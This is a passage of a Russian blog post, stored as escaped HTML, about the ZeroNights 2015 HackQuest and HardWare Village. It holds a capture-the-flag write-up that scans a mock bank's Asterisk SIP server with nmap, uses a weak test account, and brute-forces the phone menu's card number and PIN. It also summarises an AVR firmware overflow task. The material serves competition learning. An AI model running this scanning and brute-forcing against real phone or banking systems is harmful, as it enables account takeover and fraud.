\u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">1) \u041f\u0440\u043e\u0445\u043e\u0434\u0438\u043c \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0438 \u0432\u0438\u0434\u0438\u043c \u0437\u0430\u0433\u043b\u0430\u0432\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0431\u0430\u043d\u043a\u0430 \u0441 \u0444\u043e\u0440\u043c\u043e\u0439 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0438 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e.<\/p>\n<p>  \u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0431\u044b \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0430\u0434\u043e \u043b\u043e\u043c\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e SIP \u0441\u0435\u0440\u0432\u0438\u0441 \u0431\u0430\u043d\u043a\u0430. \u0414\u0430 \u0438 \u0432 \u0441\u0430\u043c\u043e\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442\u0441\u044f phreaking \u2014 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Phreaking\">en.wikipedia.org\/wiki\/Phreaking<\/a><br \/>  2) \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c\u0441\u044f \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0431\u0430\u043d\u043a\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u043e\u043c\u0435\u0440 \u043a\u0430\u0440\u0442\u044b \u0438 PIN-\u043a\u043e\u0434.<br \/>  3) \u041f\u043e\u0438\u0449\u0435\u043c SIP, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u043b\u043e\u043c\u0430\u0442\u044c:<\/p>\n<pre><code>$: nmap -p 5060 -T4 -A -v bank.defcon.su ..... PORT     STATE SERVICE   VERSION 5060\/tcp open  sip-proxy Asterisk PBX 11.17.1 |_sip-methods: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE .......<\/code><\/pre>\n<p>   \u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443 \u043d\u0430\u0448\u0435\u0433\u043e \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0431\u0430\u043d\u043a\u0430 \u0435\u0441\u0442\u044c SIP \u0441\u0435\u0440\u0432\u0438\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0430\u043a \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e SIP\u043e\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u043f\u043e\u0440\u0442\u0435 5060.<br \/>  4) \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u044d\u0442\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443.<br \/>  \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0431\u0440\u0443\u0442\u0430 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 test@bank.defcon.su c \u043f\u0430\u0440\u043e\u043b\u0435\u043c test<\/p>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e, \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 extension \u0437\u0432\u043e\u043d\u0438\u0442\u044c. \u0423 Asterisk \u0435\u0441\u0442\u044c extension s, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0435\u0441\u043b\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043d\u043e\u043c\u0435\u0440 <a href=\"http:\/\/www.voip-info.org\/wiki\/view\/Asterisk+s+extension\">www.voip-info.org\/wiki\/view\/Asterisk+s+extension<\/a><br \/>  \u041f\u043e\u0437\u0432\u043e\u043d\u0438\u043c \u043d\u0430 \u043d\u0435\u0433\u043e: s@bank.defcon.su \u0438 \u0443\u0441\u043b\u044b\u0448\u0438\u043c \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0442 \u0431\u0430\u043d\u043a\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0442\u0438\u043f \u043a\u0430\u0440\u0442\u044b (Mastercard \u0438\u043b\u0438 Visa), \u043d\u0430\u0431\u0440\u0430\u0442\u044c \u0435\u0451 \u043d\u043e\u043c\u0435\u0440 \u0438 \u043f\u0438\u043d-\u043a\u043e\u0434. \u0415\u0441\u043b\u0438 \u0432\u0432\u0435\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u0430\u0440\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438, \u0442\u043e \u0437\u0432\u043e\u043d\u043e\u043a \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f. \u0415\u0441\u043b\u0438 \u0432\u0432\u0435\u0441\u0442\u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u043f\u0438\u043d-\u043a\u043e\u0434, \u0442\u043e \u043f\u0440\u043e\u0441\u044f\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u0435\u0433\u043e \u0432\u0432\u043e\u0434. \u0415\u0441\u043b\u0438 \u0432\u0432\u0435\u0441\u0442\u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u043a\u0430\u0440\u0442\u044b, \u0442\u043e \u0435\u0433\u043e \u043f\u0440\u043e\u0441\u044f\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u0437\u0430\u043d\u043e\u0432\u043e. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0431\u0440\u0443\u0442\u0438\u0442\u044c \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 \u043a\u0430\u0440\u0442\u044b, \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u0438\u043d-\u043a\u043e\u0434.<br \/>  5) \u0412 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Visa \u0438 Mastercard \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u0438: <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bank_card_number\">en.wikipedia.org\/wiki\/Bank_card_number<\/a><br \/>  \u0412 Visa \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u043d\u043e\u043c\u0435\u0440\u0430 \u0434\u043b\u0438\u043d\u043e\u0439 13 \u0438\u043b\u0438 16 \u0446\u0438\u0444\u0440, \u0430 \u0432 Mastercard \u0442\u043e\u043b\u044c\u043a\u043e 16 \u0446\u0438\u0444\u0440. \u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u043b\u0438\u0448\u043d\u0438\u0439 \u0440\u0430\u0437 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044e \u0441 Visa.<br \/>  6) \u041f\u043e\u0438\u0441\u043a \u0432 \u0418\u043d\u0435\u0442\u0435 \u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0445 SIP-\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f Python \u043d\u0435 \u0443\u0432\u0435\u043d\u0447\u0430\u043b\u0441\u044f \u0443\u0441\u043f\u0435\u0445\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c<br \/>  \u0431\u0440\u0443\u0442\u0438\u0442\u044c \u043d\u043e\u043c\u0435\u0440\u0430 \u043a\u0430\u0440\u0442 Visa \u0432 \u0440\u0443\u0447\u043d\u0443\u044e, \u0447\u0442\u043e \u0437\u0430\u043d\u044f\u043b\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f. \u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0446\u0438\u0444\u0440\u044b \u043d\u043e\u043c\u0435\u0440\u0430, \u0447\u0442\u043e \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u043e \u043f\u0435\u0440\u0435\u0431\u043e\u0440. \u0422\u0430\u043a \u0436\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0431\u0430\u043d\u043a\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0430\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e \u0442\u0430\u0441\u043a\u0430 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0433\u0440\u0443\u043f\u043f\u0430\u043c Defcon DC7499 \u0438 2600. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u043a\u043e\u043c\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u043c \u043e\u0442 7499 \u0438 2600.<br \/>  7) \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u2014 1215. \u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0435\u0433\u043e \u0432\u0432\u043e\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u043a\u0430\u0440\u0442\u044b: 4556796461215 <br \/>  \u0412 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u043d\u043e\u043c\u0435\u0440 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u0430 \u0432 Jitsi.<br \/>  8) \u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0438\u043d-\u043a\u043e\u0434. \u041e\u043f\u044f\u0442\u044c \u0432\u0441\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c \u043f\u0440\u043e 7499 \u0438 2600. \u0418 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e 2600 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442.<br \/>  9) \u0412\u0432\u043e\u0434\u0438\u043c \u043d\u043e\u043c\u0435\u0440 \u043a\u0430\u0440\u0442\u044b \u0438 \u043f\u0438\u043d-\u043a\u043e\u0434 \u0432 \u0432\u0435\u0431-\u043c\u043e\u0440\u0434\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u043e\u0434 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0444\u043b\u0430\u0433\u0430.  <\/div>\n<\/div>\n<h2>\u0414\u0435\u043d\u044c 7 \u2014 mr_dawerty <\/h2>\n<p>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u044d\u043f\u0438\u0447\u043d\u044b\u043c, \u0437\u0430\u0434\u0430\u0447\u0435\u0439 \u0431\u044b\u043b\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0435\u0441\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043f\u043e\u0434 AVR, \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435), \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c (\u0431\u044b\u043b \u043c\u043e\u0441\u0442 \u0441 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e TCP \u043f\u043e\u0440\u0442\u0430 \u0432 uart). \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0434\u043e \u0431\u044b\u043b\u043e \u0441\u0442\u0430\u0449\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u043b\u0441\u044f), \u043f\u043e\u0442\u043e\u043c \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u043c\u043e\u0440\u0433\u043d\u0443\u0442\u044c \u0441\u0432\u0435\u0442\u043e\u0434\u0438\u043e\u0434\u043e\u043c (\u0440\u0435\u0430\u043a\u0446\u0438\u044e \u043d\u0430 \u0441\u0432\u043e\u0439 \u043f\u044d\u0439\u043b\u043e\u0430\u0434 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u0432 \u043f\u0440\u044f\u043c\u043e\u043c \u044d\u0444\u0438\u0440\u0435), \u043f\u043e\u0441\u043b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 (\u043d\u0430 openCV) \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0444\u043b\u0430\u0433\u043e\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0444\u043b\u0430\u0433 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u0441\u044f \u0438 \u0437\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0431\u0435\u0434\u0430. \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u043f\u0440\u043e\u0434\u043b\u0435\u0432\u0430\u043b\u043e\u0441\u044c \u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0434\u043d\u0438\u0445 \u0441\u0443\u0442\u043e\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b\u043e \u0447\u0435\u0442\u044b\u0440\u0435. <br \/>  \u0412\u043e\u0442 \u0442\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0443 \u043d\u0430\u0441 \u0432 \u043e\u0444\u0438\u0441\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/55d\/19a\/cb6\/55d19acb66c3c5c0035c35c7330c7c06.jpg\" alt=\"image\"\/><\/p>\n<p>  \u0410 \u0442\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 (\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 ffmpeg + nginx-rtmp, \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u0432 2-3 \u0441\u0435\u043a\u0443\u043d\u0434\u044b)<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/e11\/7f2\/a6a\/e117f2a6a617a5e40dfc3f6940987e98.png\" alt=\"image\"\/><\/p>\n<p>  \u0412\u0440\u0430\u0439\u0442\u0430\u043f\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442, \u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0432\u043e\u0440\u043a\u0448\u043e\u043f\u0430 \u043f\u043e AVR \u043d\u0430 \u0441\u0430\u043c\u043e\u043c ZeroNights (\u043f\u043e\u0441\u0442\u0430\u0440\u0430\u0435\u043c\u0441\u044f \u043e\u0431 \u044d\u0442\u043e\u043c \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439).<\/p>\n<p>  \u0415\u0449\u0435 \u0440\u0430\u0437 \u0445\u043e\u0447\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u043f\u0430\u0441\u0438\u0431\u043e \u0432\u0441\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0430\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0439, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e: <a href=\"https:\/\/twitter.com\/aplastunov\">@aplastunov<\/a>, <a href=\"https:\/\/twitter.com\/w34kp455\">@w34kp455<\/a>, <a href=\"https:\/\/twitter.com\/antyurin\">@antyurin<\/a>, <a href=\"https:\/\/twitter.com\/igc_iv\">@igc_iv<\/a>, <a href=\"https:\/\/twitter.com\/nkelesis\">@nkelesis<\/a>, <a href=\"https:\/\/twitter.com\/Lukesparamore\">@Lukesparamore<\/a>, <a href=\"https:\/\/twitter.com\/__ek0\">__ek0<\/a>, <a href=\"https:\/\/twitter.com\/090h\">@090h<\/a>, <a href=\"https:\/\/twitter.com\/nezlooy\"><b>@nezlooy<\/b><\/a>, <a href=\"https:\/\/twitter.com\/cherboff\">@cherboff<\/a>, <a href=\"https:\/\/twitter.com\/dark_k3y\">dark_k3y<\/a> \u0438 Litvinov Egor.<\/p>\n<p>  \u041d\u0430 \u044d\u0442\u043e\u043c \u043f\u0440\u043e HackQuest \u2014 \u0432\u0441\u0435 \u0438 \u043f\u0440\u043e\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u2026<\/p>\n<h1>HardWare Village<\/h1>\n<p>  \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 HardWare Village \u043d\u0430 \u043e\u0431\u0430 \u0434\u043d\u044f:<\/p>\n<p>  <b>\u0414\u0435\u043d\u044c 1: <\/b>  <\/p>\n<ul>\n<li>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 Hardware security, \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438.<\/li>\n<li>\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0430\u0442\u044c? \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b. \u041a\u0440\u0430\u0442\u0447\u0430\u0439\u0448\u0438\u0439 \u043f\u0443\u0442\u044c \u0432 hardware \u2014 arduino, \u0431\u044b\u0441\u0442\u0440\u044b\u0439 \u0441\u0442\u0430\u0440\u0442.<\/li>\n<li>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 UART, SPI, i2C: \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0438 \u0438\u0445 \u0435\u0433\u043e \u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c 4fun&#038;profit.<\/li>\n<li>\u041e\u0441\u043d\u043e\u0432\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u043d\u0438\u0444\u0444\u0435\u0440\u0430\u043c\u0438 \u0438 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u043c\u0438.<\/li>\n<li>\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b JTAG: \u0414\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0438 \u0445\u0430\u043a\u0435\u0440\u0430.<\/li>\n<\/ul>\n<p>  <b>\u0414\u0435\u043d\u044c 2:<\/b>  <\/p>\n<ul>\n<li>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438, \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438.<\/li>\n<li>RFID proximity cards \u2014 \u043d\u0438\u0437\u043a\u043e\u0447\u0430\u0441\u0442\u043e\u0442\u043d\u044b\u0435 \u043a\u0430\u0440\u0442\u044b, <\/li>\n<li>RFID proximity cards \u2014 \u0432\u044b\u0441\u043e\u043a\u043e\u0447\u0430\u0441\u0442\u043e\u0442\u043d\u044b\u0435 \u043a\u0430\u0440\u0442\u044b. \u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f, \u0430\u0442\u0430\u043a\u0438, \u0436\u0435\u043b\u0435\u0437\u043e.<\/li>\n<li>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 Software Defined Radio.<\/li>\n<li>\u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0435 \u043a\u0430\u043d\u0430\u043b\u044b \u0441\u0432\u044f\u0437\u0438 \u0432 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430\u0445. \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u043a\u0432\u0435\u0441\u0442 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c.<\/li>\n<li>\u041d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c Wi-fi, bluetooth, zigbee.<\/li>\n<li>\u041e\u043f\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0430\u043d\u0430\u043b\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 (IR) <\/li>\n<\/ul>\n<p>  \u0421\u043e \u0432\u0441\u0435\u043c\u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u044b\u043c\u0438 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f\u043c\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445.<\/p>\n<p>  \u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0432\u0442\u0440\u0430 \u0432 14:00 \u2014 <a href=\"http:\/\/2015.zeronights.ru\/registraciya.html\">2015.zeronights.ru\/registraciya.html<\/a>, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0433\u043e\u0442\u043e\u0432\u0430, \u0438\u0434\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430. \u0423\u0432\u0438\u0434\u0438\u043c\u0441\u044f \u043d\u0430 ZeroNights 2015!               <\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/271431\/\"> http:\/\/habrahabr.ru\/post\/271431\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>       <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/6b7\/1d3\/db8\/6b71d3db8a086658cd9d64609f444de6.jpg\" alt=\"image\"\/><\/p>\n<h1>\u041f\u0440\u0438\u0432\u0435\u0442!<\/h1>\n<p>  \u0414\u043e \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 ZeroNights, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u0443\u0436\u0435 \u043d\u0435 \u0440\u0430\u0437 \u043f\u0438\u0441\u0430\u043b\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0434\u043d\u0438!<\/p>\n<p>  \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043d\u0430\u0448\u0438\u0445 \u043f\u043e\u0441\u0442\u043e\u0432 \u0431\u044b\u043b 